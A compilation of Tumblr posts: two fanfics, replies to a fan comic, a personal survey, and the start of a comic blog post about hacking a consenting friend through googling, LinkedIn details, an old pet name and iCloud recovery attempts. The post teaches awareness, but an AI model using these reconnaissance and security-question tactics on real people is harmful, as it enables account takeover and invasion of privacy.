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shaekingshitup · 5 years

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Stay Grounded (Grindin Pt 2)

A/N: Writing this was a battle but I learned some things so it’s cool. Definitely don’t plan on anymore stories with these two. I don’t think I like Reader Inserts rn. But hey, he came back! If I told you I’d tag you and I didn’t I’m sorry. Idk a good method of actually keeping a taglist yet. D: This has been chillin in my drafts. Hopefully, you like it. Honestly, just thanks for reading! 💕

Word Count: 3.8k-ish but I swear it feels like 500 plot wise

Part 1

“Thanks Paul. I’ll see you next week,” you said as you placed one of your favorite regular’s drink on the counter.

“Bye Y/N” he called out on his way towards the exit. You checked in with your staff to make sure that they were doing okay. You weren’t an overbearing owner. You trained employees whom were competent and that you trusted to carry on your business when you weren’t there. But, you did your best to make yourself available to stop in when you knew your crew would be busiest. Plus, Grindin was your baby. You could never stay away for too long.

GRINDIN chimed out as another patron came in. You looked up to greet whomever it was with a smile.

“Michaela! Hey girl. Long time no see.” you greeted

“I know. I was honeymooning with my baaa-by,” she sang moving her goddess braids so that they were behind her back and making sure her diamond ring was on full display.

“YAS! Girl, I am so happy for you and Jon. I hope you two had a wonderful time. I see you over there Mrs. Kirk. Are you getting your usual today?” you asked.

“Girl, you don’t know the HALF of it. My boss paid for da baby and me to go on an all expenses trip to Bahamas,” you widened your eyes at this. You can’t even remember your last real vacation. “Originally we were just going to spend a weekend away in San Diego. But, he surprised us with a week long paid vacation to the one place Jon and I truly wanted to visit. I can’t quit smiling.” she sighed with one of the brightest smiles you’d ever seen on someone. You couldn’t help but smile back. “But anywho, I’m not here for the usual actually. My boss just got back to the country from some away business as well and I guess his time away switched up his tastebuds. He’s going to take a large Brew Thang and I’ll stick with my usual small, hot Bad n Brewjie with whipped cream.”

“Absolutely girl. Comin’ right up,” Michaela handed over the business card to pay and afterwards you transitioned over to the bar to start on the drinks.It was clear that Michaela had more to say. You could see it in her body language that she was holding on to something that she needed to spill.

“Somethin’ on your mind sis? Gone ahead and spit it out.” you assured her.

“What’re you doing tonight?” she asked out of the blue.

“I’ve got a lil date tonight. Why do you ask?”

“Wait. Sis, you got a nigga?” Michaela whispered quite loudly as she raised her left eyebrow. That got you a few glances from some people working at the countertop. You were certain that the one with headphones in had heard her loud ass too. She could be really nosey sometimes but you still appreciated her presence and her business whenever she stopped in.

“Hahaha. Not at the moment. It’s a date with myself because I deserve to eat well and be treated right -even if I’m the only one treating. Why? What’s happening tonight?” you asked trying not to reveal too much of your intrigue. Sure you had plans but if the offer was right, you could bend em.

“ Okay. So, my boss actually asked me to invite you to dinner tonight at The Liftoff because-“

“The Liftoff? Wait, who the hell is your boss? fucking President Barack Obama?” you damn near yelped as you stared at her with your eyebrows reaching the ceiling. In order to get into The Liftoff you had to have money. Not just a lil cheddar. But BIG BANK! More than that you had to have clout. If you didn’t have someone invite you, you were never getting in. Many people hadn’t even heard of it- you happened to have a few wealthy and loyal customers stop in every now and then and had overheard them discussing it once.

“His name is Erik. I’m not sure if you remember him but I guess he was in here a few weeks ago,”

2 weeks and 3 days ago sis. But hey, who’s counting? You thought.

“That was when I was out for my wedding. I guess it was a good thing too.”

Aloud, you feigned delayed recognition “Oh yeaahhh. Yeah, I remember him stopping in”

“He was planning on picking you up tonight at six to go to dinner and finish up where y’all left off..” she trailed and left the floor for you. She was not so subtly implying that you two had started something and she was all ears.

“Well, sis. You can let Mr. Erik know that I’m unavailable for the evening. And if he wants to see me, Imma need him to come in here and ask me himself,” you said placing both drinks on the countertop.

“You playing hard to get sis?” she countered.

“I’m not playing anything. I have standards and I know my worth through and through. If he can’t come ask me face to face himself, then the answer will forever be no.”

Michaela was shocked by your response but managed to get out “I’ll be certain to relay the message.” As she made her exit, she turned back to you. “I respect you sis. A lot of females see a nigga like him and are ready to hop over the counter at one of his slick ass lines. You’re bout to give him a run for his money- and he got plenty!” she cackled. With that she left and left you alone with your thoughts.

————————

When you made it back to your place, it was time for a shower. The smell of coffee was one of your personal tell-tales signs of how long you’d spent at your shop to make sure everything was in order. Right now, the scent was permeating around you. It had been stated on more than one occasion that you were a workaholic. You simply cared about your baby and wanted to make sure that you gave the best back to the city that raised you. So, it was always hard to establish boundaries for when you had to tend to yourself rather than Grindin. But today was your day.

The second you opened the door, you started shedding your clothes as if they were contaminated. You loved walking around your condo bare ass naked- without a care in the world as to who did or did not see you in all your glory. You adjusted your A/C to a crisp 68 degrees and headed to your bathroom to start your water. Grabbing your phone, you put on a fun playlist to dance to a little. Kiana Ledé’s “Bouncin” started playing out of your waterproof speaker and you hopped in to wash the morning away and bounce a little yourself. The rest of the day was going to be a self-care day. You had it all planned out. First, shower. Next, nap. Then, you planned on putting on a little makeup, serving looks with your latest fit, doing some shopping and then you’d take yourself to dinner. You made sure to do this at least once a month with yourself. Sometimes people would see you dressed to impressed and they’d take pity on you for being alone. But that wasn’t how you saw it at all and you let them know it. Whenever anyone gave you sad eyes or took it upon themselves to join you on your night out, you let them know that this was your intended personal time and that you weren’t crumbled or broken by not having someone to sit across from you.

Obviously, there were times you really wished that someone would take it upon themselves to treat you so you didn’t have to do it yourself. But, on these nights you made sure to be appreciative of who you were whether there was an admirer to acknowledge this or not. Your mind drifted over these things as you hopped out the shower and moisturized your body from head to toe.

Shower ✅

You re-entered your room and buried yourself beneath your covers. The silk sheets had been calling out your name since you’d step foot inside and you were done denying them their request. It was time for that nap. 💤💤😴

——————————————

FRESH OUT THE BOX

STOP, LOCK AND WATCH

READY YET, GET SET

IT’S AALL THAT!

called out from your bedside dresser as you stretched out your limbs and tried to reach out for the phone.

OHHHHHH, OH, OHHHHHHHHHHHHH

THIS IS ALL THAT!

THIS IS ALLL THAT!

“Fuck it,” you said as you hopped out the bed and began your performance. You grabbed your phone and used it as your mic as your bedroom became your stage.

Check it, check it, check it

Now this is just an introduction

Before I blow your mind

The show is All of That and yes we do it all the time

So sit your booty on the floor or in a chair

Ground or in the air

Just don’t go no-where!

You gave it all you had for the full 1 minute and 6 seconds only ceasing when the alarm tune was starting over from the top. Dancing was one of your favorite ways to wake up. It made you feel more alive and ready to conquer the rest of your day.

Nap ✅

You meander over to the kitchen to grab a banana and some cranberry juice before tossing on an oversized t-shirt and sitting in front of your vanity. Next on your list was makeup. You synched your phone’s bluetooth to your mirror and played your Self Love playlist to sing along to. You planned on applying a light beat and wanted to make sure you did so without getting any makeup on your body. Makeup was not your forté by any means but you loved to play a little and were able to copy all the simple tutorials. Today that mean browns all around. You dabbed on some foundation and two brown eye shadows, one that was subtle and another with more shimmer to compliment your natural glow. A little black eyeliner, mascara and nude lip gloss to bring it all together.

Makeup ✅

The fit for the evening was on point if you did say so yourself. A little casual but alluring nevertheless.

Jade green bottoms which accentuated your curves with a cream colored long sleeve shirt that had a very deep v cut. You were really playin into your sexy side for the evening and it made you feel bold and dangerous.

You went with rose gold accessories to compliment your brown skin and eyes. Your watch and lock necklace were simple but altogether the look had you feelin like you were an 11/10 and that was the goal. You always wanted to remember that you were desired-even if only by yourself. You removed your phone from the charger, responding to a quick text from Lu about your plans for the evening and when you’d be available, disconnected your music from the bluetooth mirror and headed to your front door to put on your heels.

Serve these fuckin looks ✅

———

You were on your fourth store and your Gummy Bear smoothie was all but gone. Thus far nothing was really speaking to you. You’d purchased some accessories and saw a lot of cute clothing items but nothing that was significant enough to bring home. Your shopping rule was : “If you don’t love it in the store, you won’t love it at home,”. You exited the boutique and made your way to the escalator ascending to the second level where you parked your car. You reached for your phone as it vibrated in your back pocket. Glancing at the screen you saw that it was Ray who was reaching out.

“Hey Ray J!” you laughed at the nickname he despised. His one wish was that you would stop calling him that.

“Y/N where are you?” he sounded concerned. He hadn’t even yelled at you for using the nickname that he couldn’t stand.

“I’m leaving the mall. What’s wrong?”

“Jaime had a family emergency and can’t close tonight. Eve is there but she’s still new you know. He had to leave and no one else is available to come in for him and close,” he said.

“Really? No Sherell, Chris or Rico?”

“No. None of them can make it. I would go in but I’m in Frisco right now. I know it’s your date night and I hate to do this. But, do you think you can close up?”

“Yeah.” you sighed, “Yeah, I can make it. It’s almost quitting time anyways. Plus I’m hella closer than you are. But just know you owe me! If you took your ass across the bridge on a whim, the dick better be good! ”

“Trust me boo it will be and I got you next time!”

“Yeah, whatever.” You hung up and wondered why the hell Ray decided to go to San Francisco on a whim when he was scheduled to be back up in case anything went awry for the evening. That was the whole purpose of the schedule that the two of you created. This was a perfect example of something unexpected occurring and yet he was M.I.A. You pondered these thoughts as you headed to your car and headed back towards your shop. You made sure to call and cancel your dinner reservation because that definitely wasn’t happening anymore.

Thank God I always keep a change of clothes at work you thought, cringing about how awkward it would be to slang coffee with your titties on full display considering you’d forgone a bra for the evening.

When you pulled up it was 6:30. The shop closed at 8 tonight so you had half an hour before you began pre-close. You walked in and scurried to the back to change into a merch sweater which read “Stay Grounded and some black leggings.

Eve was holding it down as best as she could. But it was evident that she was stressed.

“Hey, I’ll take the bar. You go ahead and ring em up, okay?” you offered.

She sighed and released a lot of the tension in her shoulders. “Okay.”

There were already 4 drinks waiting to be made. So, you got to work.

“Sorry your first night shift has been a bit of a whirlwind,” you told her once it had slowed down a bit. It was 6:58 and you didn’t anticipate there being too much of a let up. “Do you have your pre-close list with you?”

“Yeah. I was going to do the final bathroom check.”

“Great! Go ahead and get started. I’ll do most of the behind the counter stuff tonight. You focus on the customer areas. I may call you if orders get crazy,”

“Sounds like a plan boss!”

“Y/N!” you corrected.

Customers trickled in throughout the last hour. But when 7:45 came around and they saw that you were already cleaning up shop, most of them started to pack up their things and go. By 7:56 you were ecstatic. Everyone was gone. You just had to lock the door and then you could count money and tips, do a final sweep and mop and head out the shop. At least that was the plan, until you heard GRINDIN chime throughout the store at 7:58 P.M. You rolled your eyes. Unfortunately, this was no new occurrence to you. Customers were notorious for getting their final fix in the last few minutes before you closed up. Most of the time it didn’t bother you. But tonight, you were hungry and jaded that your plans for the evening had changed.

“Welcome! I just want to let you know that we will be closing in just a couple minutes here,” you called out without looking up as you wiped down the counter, “Let me know if you have any questions.”

“Yeah I got one.” the timber of his voice compelled you to stop and give him your full attention. You looked up to see Erik, dressed in a slightly less formal ensemble than when you’d first met.

He adorned a pair of dark trousers, a white button up shirt with polka dots and suede loafers. But, he still looked so..

“Delicious?” he asked.

Hol’ up. First he’s Barack and now he reads minds too?

“I’m sorry” you say trying and failing to hide your flustered nature. “What was that?”

He smirked. “It’s okay baby girl. I’m sure you got a lot to take in with your day and all,” he stated as he took a few steps forward which didn’t help to alleviate your confused state at all. “I said since you took the time to introduce me to something new. I haven’t been able to get you off my mind. How about tonight it’s my turn to show you something delicious?”

Your reaction came as if you were on auto-pilot.

“I would love to but I’m barely closing up shop. By the time I count the drawer and we find a restaurant and actually place an order it’ll be pretty late. You shouldn’t hold off on dinner on account of me,” you said.

Erik kissed his teeth. “Yo workaholic ass don’t know how to say ‘no’ to anyone who wanna show you a good time, do you?” It must have been a rhetorical question because he went on, “Gone ahead and finish up closing your shop. When you done, meet me in the back.”

“Hold on. I

“Aht- aht- aht. This is no longer an option. This is the game plan. Close up, freshen up into some non-coffee gear and meet me out back. I’ll be there.” he said sternly and with that, he left.

Eve came out from the back of the shop with a broom in hand. You stood there frozen for a moment.

Did this negro just boss me around? In my own damn shop?? You thought.

Yes. Yes. He did sis. And you liked it so shut up and close up!

You locked the front door to bar anyone else from coming in and started counting the drawer. By the time you were done, Eve had swept, mopped the front and turned on the fans to help the floor dry quickly.

“Great job tonight Eve! I’m sure in the future it won’t be as.. disruptive. Either way, you killed it.”

“Thanks Y/N did you need me to stay or-?”

“Uh-uh. Go ahead sis!”. The second you locked the door behind her. You dashed to the restroom to freshen up and put on your clothes from earlier in the day. You rolled on some perfume and reapplied your gloss before you hit all the lights, locked the door, set the alarm and circled around the back of the shop.

When you got there, you came to a full stop and your jaw dropped. It was gorgeous. The back lot of the shop was decorated in lights throughout the trees. In the center there was a table for two, a whole ass waiter and was that music? You glanced around to find that tucked away in the corner there was indeed a harpist playing beautiful melodies.

“Damn girl and I thought I was going to surprise you with my view,” Erik said as you turned around to face him. He was holding a single purple daisy- which just happened to be your favorite flower. He placed it in your hands and pulled out your chair for you to have a seat.

“How? How did you do all of this and how did you know this was my favorite flower?” you asked with an expression of bewilderment taking over your features.

“I promise I’ll explain alldat baby girl. But first, I need to say I’m sorry”. This surprised you. You’d spent less than an hour in this man’s presence but he already didn’t strike you as the apologetic type.You placed your flower on the table and gave a nod of your head for him to go on. “When I met you a few weeks back. I meant to ask yo fine ass out right then and there. Unfortunately, that call that I got was urgent and it needed me to leave the country immediately,”. He finished.

“Oh my. Is everything alright?” you asked

“It is now. I handled it as I always do,” he stated with a conceited grin, “That’s why I came back to ask you out. I don’t leave anything unfinished.”

“Last time I checked this wasn’t an option. You didn’t ask nothin” He chuckled at that. The waiter came over at that moment to introduce himself, present the menu and fill up your water. He didn’t need to explain anything because there weren’t options on it. It was simply an itinerary for what your palette could expect. Appetizer, Entree, Dessert. They were all your favorites with a subtle twist. You were impresed. The menu was elegantly done and it looked fly as hell. You might have to keep a copy to give to Lu for inspiration.

“Well, actually I did,” Erik began when Duke, the waiter made his exit, “I was in earlier to ask yo stubborn ass-”

“You got one more time to talk about my ass before this becomes a solo event,” you interjected.

“Aight, bet. We can take a pause on that ass for now,” he smirked, “I was in earlier to ask you to dinner face to face, but yo people told me that you were unavailable for the evening. So, we made a few changes to make you available.”

“You what?”

“I paid ya mans Jaime a few bills to take the night off. Ray and Lulu was already on board,” you glanced down at the menu of our favorite foods again, “yup. That was them. They told me what you like. I just got the chef and made sure that Michaela hired the right people to make this vision come together. We all agree that it’s time for you to take a break, ma”

“Wait a minute. You bribed my staff? Plus, Lulu and Ray were in cahoots with you on this?! You barely even know me.”

“And? I’m tryna know you”

“I’m just sayin that’s a hole lotta trouble for a virtual stranger.”

“But you not a stranger. You the one that left me satisfied. Now just enjoy the rest of the evening and let me do the same for you,” he said as he picked up your hand and caressed it all the while never breaking eye contact with you.

“Okay.” you got out meekly. You cleared your throat and tried again. “Okay, Imma let you finish what you started,” you said

He smiled one of the most genuine and naturally alluring smiles you’d ever seen.

“ I can already tell you ain’t used to letting others take control. But don’t worry ma. I got this and I got you,” you were all the way blushing at this point, “Tell me about your day. Was it as brewtiful as you are?”

You laughed out loud as Duke placed your appetizers in front of you. “You corny.”

“And you like it,” You could already tell that he was going to do good on his word. You were leaving satisfied tonight one way or another.

Tag List: @scrumptiouslytenaciouscrusade @shewrites02 @shewritestheblues @ghostfacekill-monger @sarcastic-sunshines @fd-writes @eyeknowmywrites @twistedcharismaaa @thadelightfulone @raysunshine78

#shaekingspeaks #grindin #stay grounded #erik stevens x reader #erik x reader #erik killmonger #black panther fanfiction #black panther #erik x black reader

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fan-goose-vilvopa · 4 years

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Goose is a very socially bad person. Not awkward but just kinda bad. This us how the first few (decent) conversations they've had with the bros.

Mammon: Heya duck

Goose: No duck

Mammon: Whatever, ya got any money I could borrow? I'll give it back-

Goose: Yeah, I've got a leg and an arm to lend.

Mammon: Hah?

Goose: *pulls out a mannequin arm and leg out of nowhere*

Goose: You can take these and run, Syrien's Sews is still looking for them.

Goose: Hey Levi-

Levi: Listen, you are far from everything being a normie but what do you want, you're not normie enough to be considered air headed but at the same time you're not cool enough either so make it quick.

Goose: Ouchies :c

Goose: Anyways, I just wanted to give you a gift I got inside the Pentagonal Mall on the other side of the Devildom.

Levi: Is that Toru-Chan's Phyria brand legendary limited edition cosplayer wiz-guiard wand?

Levi: You're my new best friend.

Goose: HOLD UP, YOU ACTUALLY KNOW WHICH ANIME THIS WAS FROM I JUST THOUGHT IT LOOKED KINDA NEAT-

Satan:

Goose:

Satan:

Goose:

Satan: *is trying not to be rude but cannot help the fact that he just wants to know what Goose is*

Goose: *knows*

Satan: (thinks to self) I want to so badly ask because these books aren't helping my research.

Goose: I once met a minotaur.

Satan: ??? Tell me all about it, I'd like a first hand experience of how minotaurs behave.

Goose: *is approaching*

Asmo: (thinks to self) Oh no, it's Goose-

Goose: So one of these days you wanna help me paint myself black and brown to look like those Canadian geese for fun?

Goose: Also I think it'd look cooler-

Asmo: .... Makeover? 0w0

Beel: *tries not to think of Goose as a meal*

Beel: *fails*

Beel: I'm hungry....

Goose: AH BRO DON'T GRAB ME BY THE NECK AND BITE ME NA NA NA I HAVE A PARTY-PACK SIZED GREENHOLI FLAVORED CAN OF CHIPS-

Later

Beel: I'm sorry Goose / - \

Goose: If I said it was okay I'd be lying, but I do forgive you. I know you can't help yourself sometimes.

Goose: Now go get some food, we can chill later.

Beel: Uh

Beel: Okay :D

Goose: *causes trouble a lot*

Belphie: *is always so amused by their such good ideas with bad outcomes*

Belphie: You're gonna need a partner in crime. To not get caught. 😏

Goose: ?

Belphie: And with more ideas that would be funnier for me.

Goose: I'm in

Lucifer: Please leave my doorway.

Goose, singing: OHHHHHHHHHHHHH

Lucifer: I can't just ignore you for 2 hours straight-

Goose, singing: I'M RIGHT OVER HERE, WHY CAN'T YOU SEE ME, OHHHHHHHHHHHHH.

Lucifer: Please..

Goose, still singing: AND I'M GIVING IT MY ALL, BUT I'M NOT THE GOOOOOOOOSE YOU'RE TAKING HOME. OOOOOOOOOOOOOOOOH

Lucifer: *is this close || to actually killing them*

Goose, singing: I KEEP DANCING ON MY OWN.

Lucifer: For the last time

Lucifer: It's GUY you're taking home, GUY.

Lucifer: NOT GOOSE

Goose: I know but I'm not some guy.

Goose: And see, you do know about human world songs.

Lucifer: Is this why you've been scream singing this same nonsensical song for the last 2 hours?

Goose: Honk! It's a good song!

Lucifer: Yes, it's good, but you keep messing it up.

Goose: I'm not messing it up, haven't you heard of joy wording songs where you throw in some fun versions of the same song unofficially with folks you know?

Lucifer: No! Who does that?!

Goose: Unfortunately for you, you and all your friends.

Lucifer:

Lucifer: *is pissed*

Goose: I'm going to tell Diavolo this is a fun thing to do with friends often-

Lucifer: Don't

#goose #Goose #MC Obey Me #MC #OM Lucifer #OM Mammon #OM Levi #OM Satan #OM Asmo #OM Beel #OM Blephie #Honestly if you want to become friends with this cursed being of chaos then by all means prepare for the randomest shit man. 👌

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griffinblogsgw2 · 5 years

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(Response to The Warden and The Thief pg 29)

#YESSS #ANGER TERIN (x) @callumthorn

#Oh Shit dad is mad now >:0 (x) @thetyrianthree

#this is insanely pretty???? #TERIN IS READY TO RUMBLE #PREPARE YOURSELVES (x) @theauseer

Mad Dad! Mad Dad! >:O

#oHHHHHHHHHHHHH #gosh I love this arc so much #i've spent most of my time sitting here like #'i'm pretending i know what's going on but i'm genuinely excited to be proven wrong' #Tora what did you get yourself into (x) @fallenqueero

My god, you flatter me ;u;

#big fear big fear (x) @commander-titania

;3c

#DAD IS DRINKING D: #the plot thickens *dramatic music* #frick yes (x) @saintcranky

It’s melon juice! Because The Grove has like, fuck all in terms of alcohol.

#ooooooh boy #who is it #is it gonna be baya #im ready for terin to rip into her ngl (x) @nocte-argentea

I responded to this a week too late sooo... well we already know the answer to this, eh?

#yo #mute and the thieves are both kinds of fucked up (x) @galaxypuddle

Are they? Well I mean, yeah the thieves are a dysfunctional mess of broken rejects from society, but like... if we’re talking about The Mute being fucked up for casually turning dead thieves into minions - that’s actually not so fucked up for a sylvari. Did anyone read the book Ghosts of Ascalon? There’s a sylvari necro in there who nonchalantly does the same type of bullshit. They don’t view death the same way as humans, ya?

#christ what a mess #I'd like to hear Mute's take on things. Like why exactly she thinks basically the entire guild deserves this #Poor Terin tho he's totally freaking out about Tora #I really do hope Mute murdered Baya. Or that someone murdered her in the chaos. I just really hope Baya's dead (x) @theoriginalvoidthoughts

Right? Such a damn mess. Idk, she clearly doesn’t think the whole guild deserves death or she would have attacked Tora the minute he returned to the forest. I can’t say more than that tho, eh?

And yeah, Baya is.... yeah.

#gw2 #Guild Wars 2 #fan comic #tora response

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insarations · 6 years

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Random survey, feel free to steal

1: Could you go the rest of your life without smoking a cigarette? ugh, absolutely

2: Are you single/taken/heartbroken/confused? single and heartbroken and confused XD

3: What if I told you that you were pretty? i'd say thank you :)

4: Ever been told “it’s not you, it’s me”? sort of

5: Are you interested in anyone right now? not particularly, just going with the flow, getting to know people. you never know..answer could change soon lol

6: What are you looking forward to in the next week? ugh,, um. nothing sadly XD work is just taking over

7: Do you want to be single? I am and do i want to be ? um...idk how to answer that. I'm okay being single, I'm used to it and can be content. but also, It'd be nice to have someone to do life with

8: Did you go out or stay in last night? both I guess lol

9: How late did you stay up last night? I'm still up :D and oh shit it's almost 2am I just realized lmao

10: Can you recall the last time you realized you liked someone a lot? um. like... over a year ago

11: Last three things you had to drink? coffee, water, dr.pepper

12: Have you pretended to like someone? no thatd be dumb

13: Have you ever told somebody you loved them and not actually meant it? no. i say what i mean

14: Honestly, has anyone seen you in your underwear in the past 3 months? nope

15: Is it hard for you to get over someone? ugh. don't even get me started

16: Think back five months ago, were you single? ya

17: What were you doing at 12:30 this afternoon? I was at the gym

18: Hold hands with anyone this week? nope

19: Could you go for the rest of your life without drinking alcohol? absolutely

20: What would you name your future daughter? i've thought of a lot of names i'd like... sophia, kendra, kendall, melissa, veronica(ronnie for short)..umm ya theres a lot more ive thought about lol

21: Do you miss anyone? yep

22: Have you kissed three or more people in one night? ew no, not my thing

23: Did your last kiss take place in/on a bed? no

24: Are you good at hiding your feelings? it depends. like i feel like at work and around my family a good amount of the time, i just have to hide my feelings so i'm used to it. but when I'm with friends or someone i'm comfortable with it just all spills out

25: Have you ever cried from being so mad? ohhhhh ya

26: Who did you last see in person? my dad

27: Are you listening to music right now? no, watching tv

28: What is something you currently want right now? cuddles, someone around who gives a shit

29: What is the last thing you said out lot? idr, probably something to my cat lol

30: How is your heart lately? eh, not great

31: Do you wear the hood on your hoodie? not too often... if it's raining or cold sure lol

32: Are you wearing socks? yep

33: What do people call you? sara. as that is my name XD what a dumb question

34: Will you talk to the person you like tonight? i don't particularly "like" anyone atm

35: Are there any stressful situations in your life? ohhhhhhhhhhhhh yes

36: Who did you last share a bed with? my cats :D

37: Did you do something bad today? if you consider stuffing your face with food bad then sure lol

38: When was the last time a member of the opposite sex hugged you? i can't even remember. probably my brother at christmas time

39: Do you get stressed out easily? pretty much

40: Will you sing today? possibly

41: Have you ever wanted to tell someone something but didn’t? too many times

42: Who do you go to when you need to talk to someone? no one particularly these days. i don't have too close of friends anymore sadly. sometimes i'll talk to a friend, but nothing too deep. idk hard to explain

43: Have you ever been taken to the emergency room in an ambulance? no

44: What are you listening to right now? a show on tv

45: What is wrong with you right now? eh idk. too many thoughts in my head about things that i can't really change

46: What is on your wrists right now? nothing but my elephant tattoo :)

47: Where did you get the shirt/sweatshirt you’re wearing? I'm wearing my cat sweater from vans

48: What do you like better: hot chocolate or hot apple cider? hot chocolate

49: Do you make wishes at 11:11? not so much anymore but I used to alot lol

50: Are you a good artist? I wouldn't ever really call myself that but i mean, I enjoy painting and drawing. I'm not the greatest but every now and then i'll pop somethin decent out haha

51: Love really is a beautiful thing huh? it can be, if it's real and legit and genuine

52: Do you miss the way things were six months ago? things weren't much different as they are now so no lol

53: Ever been on a golf cart? yep..many times with my grandpa as a kid

54: Do you have trust issues? sort of, but more so i feel like i actually trust people way too easily

55: Ever stayed up all night on the phone, with who? many times with several different people

56: Do you own something from Hot Topic? yep

57: Do you use chap stick? sometimes

58: Have you ever slapped someone in the face? never

59: Do you have a little sister? no, just two older brothers

60: Have you ever been to New York? upstate, yes

61: Think of the last person who said I love you, do you think they meant it? I don't know anymore

62: Have you hugged someone within the last week? probably my mom lol

63: What were you doing at midnight last night? same thing i am now...watching tv, fucking around on the internet lol

64: Have you ever regretted kissing someone? not really "regretted" just idk, i can't explain it

65: Is there one person in your life that can always make you smile? not really these days. that's depressing lol. that's probably not a true answer but like...most the people that used to make me smile just make me sad lately or otherwise they just aren't around

66: Were your last three kisses from the same person? ya

67: Have you kissed anyone in the last five days? nope

68: Would you rather sleep with someone else or alone? hmm. it depends. I loveeee having my bed to myself but also I love having someone to cuddle and hold and just be next to through the night

69: Will next Friday be a good one? Well I hope so, I can’t tell the future lol

#random survey #tumblr survey #random questions #for the hell of it #passing time

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defaultnamehere · 7 years

Text

Operation Luigi: How I hacked my friend without her noticing

This blog has moved! This post and other mistakes are now at https://mango.pdf.zone

Hello and welcome to a blog post. I am writing it and you are reading it. It's amazing what we can do with computers these days.

Several months ago

I'm at a ramen place with my friend Diana. Diana isn't her real name, but we're going to pretend it is because that's what all the cool journalists do and I wanna fit in too so don't ruin this for me okay.

I ask her if it would be okay for me to try and hack all her stuff. She's instantly visibly excited. I explain how this could result in me seeing everything she's ever put on a computer ever. She tells me she thinks this is going to be "so good". We lay down some rules:

I'll start some time in the next 12 months

No deleting anything she has

No disrupting her daily life

Stop asking if she's sure it's okay

Bonus rule from me: Do this entire thing in stealth mode. Don't ever let Diana know that I've started until it's too late.

I mean, obviously it worked since you and I are having this nice little textual discourse right now. Take my hand metaphorically, and I'll guide you through what I tried, my many flubs1, and how to protect yourself from what I did2.

And uh also at the end Mario's green friend is there.

Part 1: Research

"""Open Source Intelligence Gathering""""" AKA googling furiously and pretending you went to uni for this

Alright uh I'm pretty sure the first thing you do when you're hacking someone is find all their personal information. I'm talking about her email, phone number, address, star sign, whether she uses Android or Windows Phone, her birthday, and so on.

Jeez we're gonna need to know her email address aren't we?

People put lots of their information on LinkedIn (an information landscape that connects your inbox to people you met once in a bar and will forever file under "misc") because it tells them to.

The first thing I see on Diana's LinkedIn3 is her email address. I hastily put on my black hoodie and get my arms a bit stuck in the sleeves. Hacker voice I'm _in_4. Immediately I sigh and put my hands on my temples like a stressed-out banker. It's a @hotmail.com address, which surprises me since, well, who's using Hotmail in the year of our lord 2017? I mean geez if you used hotmail you'd miss out on gmail's excellent security features heyoooo

[x] email address [ ] the respect of my peers

Does she use this email for Twitter?

Yep.

How about her phone number?

I type a bunch of extremely clumsy things into Google. I'm talkin' "[email protected] phone". A matrix of what looks like zeroes and ones but is actually Google search results flies down my screen at about the speed a normal person would scroll at.

There's a sign-up page for a club she started at her university. The page says "Contact Diana Lastname at [email protected] or [her phone number]". pew pew got 'em.

[x] email [x] phone number [ ] the respect of my peers

Storing the goods

I paste all these things into a Google Doc - an advanced NSA hacking tool leaked in the recent Shadow Brokers incident.

While googling securely, I find an old blog of hers from 2009. It has a search box. I immediately slam "pet", "cat" and, "dog" in that search box like it's 2009. The name of someone's pet is often somehow involved in their security, either as their password or as a "Security""" question or something. I find the name of her dog from 2009 and vigorously paste it into my Google Doc.

Let's try getting into her iCloud account

Armed with my weapons-grade Google Doc, I'm ready to have a go at trying to get into something of Diana's5.

I don't really have a good reason for going after iCloud, so if you could just give me a break for one second

If I click "Forgot Apple ID?" on iCloud, by entering Diana's full name and email address, Apple tells me her Apple ID, and my screen permanently changes to green-on-black text to suit my new lifestyle.

I'm clicking around and there's a section called "account recovery". Sure, I'll have a go.

I can recover the account by clicking "I've uh lost my phone and forgot my password AND locked out of my email". Apple says "okay you colossal bozo, fine, but give us a phone number you CAN access, and we'll SMS you instructions to get back into your account". If I was in a movie doing ~crimes~ then I'd use a burner phone number. But since this is just my friend, I use my real phone number. I get an SMS from Apple being like "We received your request and will get back to you within 4 to 6 business millennia. Our Neo-Future Customer Service Representatives will contact your next-of-kin by whatever means of communication is prevalent at the time."

There's another "account recovery" option that says "use a device you already have". I click this, hoping to get a list of Diana's Apple devices. Instead it gives me this:

Daaaaaaaaaaaaaaaammmmit.

I have taken the wrong path in this text adventure game.

I've just notified Diana that someone's trying to reset her account.

For me that would set off all kinds of alarm bells and I'd start furiously investigating what's going on with all my accounts because I'm very cool and collected. But I'm just going to hope that Diana is a normal human being who is not obsessively paranoid like me and just ignores all of those pesky automated emails from Apple and Microsoft being like "blah blah account blah" or "blah blah new sign in blah" because I mean who really has time for those we've all got places to go and phones to scroll I mean reallY who's gonna pay attention to one liTtlE email when there's a whole OCEAN of low quality memes to scroll past on Facebook? I mean wouldn't you rather see some nice political memes? Newsfeed alert: Some guy from high school has just been tagged in- oh wow lOok this one's about your local government, wowee they've even managed to use the meme font while standing their ground and writing all the text as though it's a trying-to-sound-formal letter from your school principal who is still desperately trying to combat cyberbullying using nothing but stern words and beginning every sentence with "In regards to...."

There's no way for me to know if she saw the notification, so I stop rolling around on the floor whispering about low quality memes and get back to work.

Several days later

My phone rings. I can feel the vibration in my pocket and I'm like "is someone calling me here in the year of our lord 2017 I can't believe this". I don't recognise the number.

"Hello?"

"Hi, who am I talking to?"

"It's uh Alex."

"Alex?"

"Yeah."

"Alex ``?"

"Uh, noooo it's-"

"Ohhhhhhhhhhhhh."

"Wait so who am I talking to?"

It's Diana.

"What's up?", I ask.

She explains to me how she got an email from Apple about her account and there was a phone number in it. I tug my collar several meters into the next room, knocking over several carefully-potted indoor plants.

I hit pause on this whole thing, immediately own up, and say "yep, that was me, no need to worry, and I didn't get anywhere, your iCloud account is safe and s- WAIT a minute are you telling me you got an email from Apple saying someone tried to reset your account, realised it wasn't you, saw the phone number, and then CALLED it? What was your plan if some hacker answered??"

She didn't have a plan. She just called it as soon as she saw it, the absolutely off-the-rails lunatic.

We have a nice chat and agree to hang out later. She asks me if I've "hacked her already", and I say "no comment" to preserve my so-far flawless operational security.

Before I hang up, I wanna show off my work so far.

"Hey Diana, one more thing"

"Yeah?"

"Check it out. Did you ever play a game called........ Fashion Fantasy Beach?"6, I say, coolly and relatably.

Diana freaks out and starts laughing. She's forgotten about this game and me reminding her of her account brings back good memories.

"Can you like, find all the accounts I had on all those game websites?"

Sweet young Diana. If only it worked that way. Hacking can only be used for stealing government secrets and ransoming bitcoins. It's just not that simple.

"By the way, just checking, it's still okay for me to try and hack all your stuff right?" "SO okay"

Part 2: Hackinggggg

At this point I could reset Diana's password for some services by answering her "Security""" Questions with all the information I've gathered.

